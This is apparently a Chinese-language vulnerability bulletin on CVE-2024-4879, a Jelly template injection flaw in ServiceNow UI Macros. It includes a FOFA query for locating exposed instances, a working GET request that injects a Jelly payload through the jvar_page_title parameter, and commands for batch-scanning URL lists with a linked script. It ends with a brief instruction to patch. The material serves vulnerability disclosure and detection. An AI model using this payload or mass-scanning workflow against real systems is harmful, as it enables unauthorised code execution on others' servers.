ServiceNowUI Macros CVE-2024-4879 模板注入漏洞【附poc】

fofa

icon_hash="1701804003" || title="servicenow"

资产页面

一、漏洞简述

ServiceNow UI Macros是ServiceNow平台上的一个强大工具,可以帮助开发人员快速创建和自定义用户界面元素。UI Macros为用户提供了一组预定义的UI组件,如按钮、文本框、下拉框等,开发人员可以直接在应用程序中使用这些组件,而不需要从头开始编写HTML和CSS代码。其接口jvar_page_title存在模板注入漏洞，攻击者课通过该漏洞获取系统权限。

二、漏洞检测poc

GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(999*999);</g:evaluate></j:jelly></style> HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: close

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/ServiceNowUIMacros_CVE-2024-4879_SSTI.py

批量检测:

python ServiceNowUIMacros_CVE-2024-4879_SSTI.py -f url.txt

单个url检测漏洞:

python ServiceNowUIMacros_CVE-2024-4879_SSTI.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：https://www.servicenow.com/